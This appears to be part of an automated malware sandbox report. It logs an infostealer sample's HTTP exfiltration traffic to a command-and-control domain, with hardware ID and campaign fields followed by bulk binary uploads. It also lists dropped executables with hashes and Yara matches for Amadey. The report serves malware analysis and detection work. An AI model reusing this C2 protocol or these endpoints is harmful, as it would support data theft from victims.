2024-10-30 10:47:51 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-30 10:47:51 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:51 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=56d15c8igb6vf03531c70okr8k; expires=Sun, 23 Feb 2025 04:34:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TmGxjXjWG5OUM8XaSpmSsFOu5f3QHMs4OwyP8%2FY2WjjTmPRUOqqcR8rhlWeXr2NOm7%2B8%2FPnrEkqUoQR2IFPQXjtwftNG2nM4n34zrbTAUw%2FNTUdHQ5Fl3I5PiI%2BNpjBvOZXCY44%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad4611b384636-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1238&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=2246702&cwnd=251&unsent_bytes=0&cid=aabbf8acd827469c&ts=820&x=0"
2024-10-30 10:47:51 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	58250	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:52 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-30 10:47:52 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:53 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bu06m7shb4d4tsmapts3vhpoh6; expires=Sun, 23 Feb 2025 04:34:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xHVmFONk%2BBfQRG7IxKZGt3v%2FTZT1vlFGmB46qW0dxMeEUyJ73Vw32i0vYO0jJeaM%2FwfIQDSvnUxKn%2B150yldb9cMPib%2BzwdNf%2Fyw6CMxlkuGsvyxrtdsvQdBSqGsLym915eUhAA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad46c6f2b474b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1929&sent=14&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16023&delivery_rate=1483606&cwnd=251&unsent_bytes=0&cid=ab76384255b2b5f7&ts=614&x=0"
2024-10-30 10:47:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	58251	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:54 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-30 10:47:54 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:54 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-30 10:47:54 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p8o3668j3fhdjrgh579nnkfdeu; expires=Sun, 23 Feb 2025 04:34:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9G7ObU0K1m4SKGviI9okRHZHx%2FobNuyUYSsIQ%2FxV%2FSaj3ZYG6785BiKYVL%2FwZDau2cgreOl4mC%2FxG8m%2BciGUzeF74kb22c0DnC%2BmnvsSdMxfxfFACxnI4hHkBEIsygaX6YChIWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad4743cdda91e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&sent=14&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=1811131&cwnd=252&unsent_bytes=0&cid=2cf623defe6301ac&ts=657&x=0"
2024-10-30 10:47:54 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	58252	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:55 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1251 Host: necklacedmny.store
2024-10-30 10:47:55 UTC	1251	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:56 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3s8rpce84leu3g8lceoh3vjece; expires=Sun, 23 Feb 2025 04:34:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rzn0pQXrj3HKHmYDXM5BWQHgpsxxJPi3wLXUqEmKVIdJZG7u%2FJI5rHIrPOfMIqEIKIbsIra2P9HG5957vpxd3CAWu6bz2C5PO%2BS1EfNCqYRXau0jC3i8%2FH9RV52ASzlz7NrQaf0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad47c9bfb6be9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1235&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2170&delivery_rate=2292953&cwnd=251&unsent_bytes=0&cid=085034263f6717d5&ts=732&x=0"
2024-10-30 10:47:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	58253	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:57 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47465 Host: necklacedmny.store
2024-10-30 10:47:57 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:57 UTC	15331	OUT	Data Raw: 37 d7 74 39 c5 b1 0f 58 9f d7 78 ef aa 09 5c da 7f 31 dc 01 6a 05 18 32 fc 19 8f d3 e1 a3 83 fc 85 99 17 38 28 d5 5c 6f 3d 14 76 f0 ab 9e 34 c3 e9 83 9f c7 b5 ff 73 58 0c 11 42 d4 a9 f0 a7 df 76 5d 94 e1 b4 34 aa fa 90 c7 ef 1c e8 e4 79 e0 50 c7 ef c7 5b de 9c f9 af 1f 5f ea ff ca dc 52 9d 5d dd 8d 20 69 56 a4 be 80 62 6c 97 4d 36 65 7f 97 31 9c f6 d7 56 93 cc da bf 8a 91 a0 96 12 b0 a6 fe 83 ec 68 2c 94 38 ff c3 cc 4c 03 ac 94 a2 51 31 6c 95 63 37 40 3a a8 80 b0 60 39 3e 00 eb a5 21 98 af ff d0 17 a3 c3 b2 2f f5 9f 8a 74 a4 3a 85 fb 46 a6 cb 83 07 fa 98 ea ed 5a 14 68 ad 67 7d 5d 0e 39 7f 48 0b 58 b6 2e a9 2e a4 84 ad d1 93 30 53 33 1d d7 89 b2 f4 e9 53 96 3e 0f 0a 6a ac 0a 84 22 71 79 25 dc f4 49 78 80 36 f1 a3 ec e4 fa 59 d4 d9 4a 55 d6 a5 78 51 97 08 Data Ascii: 7t9Xx\1j28(\o=v4sXBv]4yP[_R] iVblM6e1Vh,8LQ1lc7@:`9>!/t:FZhg}]9HX..0S3S>j"qy%Ix6YJUxQ
2024-10-30 10:47:57 UTC	15331	OUT	Data Raw: 88 e1 97 2b 1a 16 25 b0 90 f2 1b d0 bd c0 17 92 94 a7 11 54 79 ff 26 ca 54 eb c7 13 41 76 9f 65 42 c2 9e 56 fc 83 73 6a a6 9f e0 80 50 d7 db e6 c5 4f 61 ff e5 30 3b e6 17 54 b7 db 76 46 fd 2d 53 4a 2f 3a f5 5e 93 8d ff 34 8e 3c 76 b5 ac 56 36 0b b0 e5 67 34 91 e9 f7 0b 6d f1 7a 07 1c 0a b3 bf 46 13 7d 68 b8 9e 44 ee bd b6 fc e5 8f a0 ae bf 7a 0c 7c f6 4b f6 4b 2a d8 cb e1 dd 9a 02 c2 da 34 ff 8a 03 fb 57 40 9b 25 1d ff 6f 16 4d f7 d1 9b 07 c2 7d 5c fd cf 79 b3 1e 84 65 a7 e5 fe d2 71 70 f1 ba e3 5f 2b 76 10 4c 86 0d fc b5 1d 3b 07 17 33 33 ff ae 76 30 d5 cd 7f 57 38 b0 b7 2f c3 ff ca f3 01 1e c1 ca f9 c7 74 be 3c 80 2c 78 4e fd 5d c8 2a 92 bd 65 73 d3 9b 6e f2 cf 17 fd 3b 69 f9 63 fa 87 f7 6c 7f 6e bf 75 a0 13 3c 6c 7f 6e 7f 7d f8 80 ae e3 7f e9 e2 3c a0 Data Ascii: +%Ty&TAveBVsjPOa0;TvF-SJ/:^4<vV6g4mzF}hDz\|KK4W@%oM}\yeqp_+vL;33v0W8/t<,xN]esn;iclnu<ln}<
2024-10-30 10:47:57 UTC	1472	OUT	Data Raw: e0 23 8e f4 ab cb 9f 08 41 dd 9f 23 95 a5 5b 39 d6 ba 8d ff a4 14 96 e3 f9 f3 29 2b 18 c3 5d 12 fb 28 84 c0 3e fa 8e 5c 77 5f 83 5a 57 ac 4e 23 65 d2 44 9e 92 d7 df 39 88 9e aa 09 80 25 fc 82 56 93 66 b3 28 4f 5c 3c c8 f0 a2 21 fa 53 35 c4 4c ff 7d 78 d5 72 ac d5 d2 0a 7b a8 68 17 36 af 9d ca b2 82 b2 22 8d 94 5b 59 7e ed 03 93 0c 1f e6 b2 17 9e 5d e7 9e f4 19 31 f9 a8 ac 91 21 ce d4 b7 6d ed 93 76 5d 9f 35 2d e4 8b ef 7d ee 86 93 85 ea 6b be 6e f8 6d b1 a2 a5 90 24 77 b5 d5 c0 06 3d d7 ae 6a b9 9a 40 d9 af d3 1a 52 2b 5f 58 a4 d4 cc 69 8e 77 52 3a 41 fb b9 8b 31 d4 ac df e5 89 7b 29 83 ce a8 a7 3d aa d7 a4 11 5e 09 6e a8 2f 7d 25 af b7 f8 62 51 8c a5 ca d8 f5 62 b1 51 95 fd 34 84 38 5f 1f a2 94 ad 85 e9 d4 83 16 e9 1e 18 d3 97 cb 80 4f 6a bc 25 b3 52 f7 Data Ascii: #A#[9)+](>\w_ZWN#eD9%Vf(O\<!S5L}xr{h6"[Y~]1!mv]5-}knm$w=j@R+_XiwR:A1{)=^n/}%bQbQ48_Oj%R
2024-10-30 10:47:57 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kodc9i8rvjqsbg2rhiusvo5fh; expires=Sun, 23 Feb 2025 04:34:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2yiE7lvlRBcl2DLnKAXWG3i552uoIwSEdHRwK2DdPleCLLAOrB5Nv7b%2FRil6YGkVNEGpCYiisCaI3PNCXE89rHDqCqI9CNhKLbAb8OKxkWaoTjnA0DvjLQZQI%2B3srCjpsrlV%2Fg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad4869f8be77d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1304&sent=21&recv=55&lost=0&retrans=0&sent_bytes=2844&recv_bytes=48517&delivery_rate=2193939&cwnd=251&unsent_bytes=0&cid=2b1304e62acd8153&ts=821&x=0"
2024-10-30 10:47:57 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	58254	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:58 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 10:47:58 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=8C141C2517812F5C794FEDDF40D44F2E
2024-10-30 10:47:59 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jtcbvop20ob04bf97faelp415m; expires=Sun, 23 Feb 2025 04:34:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PT%2FrqXiiNcSWttXFppRFzKze9zGkVxVhW7kI9mK3DSmNn%2BikqNMK3q9U4bByNAOX4cbxyviLyRO4Y9EUkQs0OTHXjJg1MScpDYI%2B0SLGsfZy0i3Rpzkr7aOCNCeerBum%2FadLvMU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad48f8f5addb4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1246&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2205635&cwnd=32&unsent_bytes=0&cid=6cc795c0578adcd3&ts=493&x=0"
2024-10-30 10:47:59 UTC	214	IN	Data Raw: 64 30 0d 0a 30 57 41 50 6b 2b 4f 38 4e 58 53 77 66 68 52 30 54 34 62 63 33 54 74 48 53 58 4b 64 63 35 43 36 6d 43 69 6c 6f 64 76 47 79 56 61 4b 47 79 33 6d 77 59 59 58 48 4d 51 4b 5a 45 34 54 71 59 44 79 43 6e 39 38 58 4b 39 43 70 5a 53 70 47 5a 61 50 36 76 43 56 65 62 34 47 61 63 2f 4d 32 46 41 53 6e 68 74 73 45 57 32 71 2f 72 74 50 5a 58 4e 43 73 56 48 31 6d 4b 49 59 32 49 32 67 35 4c 78 30 36 30 4a 6e 35 35 66 4d 44 79 69 66 49 6a 74 46 64 37 50 79 37 77 70 79 5a 30 4f 73 51 4c 36 4c 72 6e 53 4b 7a 4c 4b 6f 72 41 72 2b 45 6d 37 39 68 39 4e 59 57 74 55 47 63 56 5a 6a 70 4c 71 70 47 58 31 35 58 72 38 57 73 6f 43 6f 56 66 67 3d 0d 0a Data Ascii: d00WAPk+O8NXSwfhR0T4bc3TtHSXKdc5C6mCilodvGyVaKGy3mwYYXHMQKZE4TqYDyCn98XK9CpZSpGZaP6vCVeb4Gac/M2FASnhtsEW2q/rtPZXNCsVH1mKIY2I2g5Lx060Jn55fMDyifIjtFd7Py7wpyZ0OsQL6LrnSKzLKorAr+Em79h9NYWtUGcVZjpLqpGX15Xr8WsoCoVfg=
2024-10-30 10:47:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:45:07
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x110000
File size:	2'985'472 bytes
MD5 hash:	DE54690C9F171F91B13960453AB60FD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:06:05
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe"
Imagebase:	0xc0000
File size:	2'895'872 bytes
MD5 hash:	6EB4B86646866EA6FA65E78F6D15E44A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:06:08
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe"
Imagebase:	0x290000
File size:	1'886'208 bytes
MD5 hash:	E8532BD886B3EA7DB6B1634D2D07BE22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1593645355.0000000000291000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1553486774.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:06:10
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
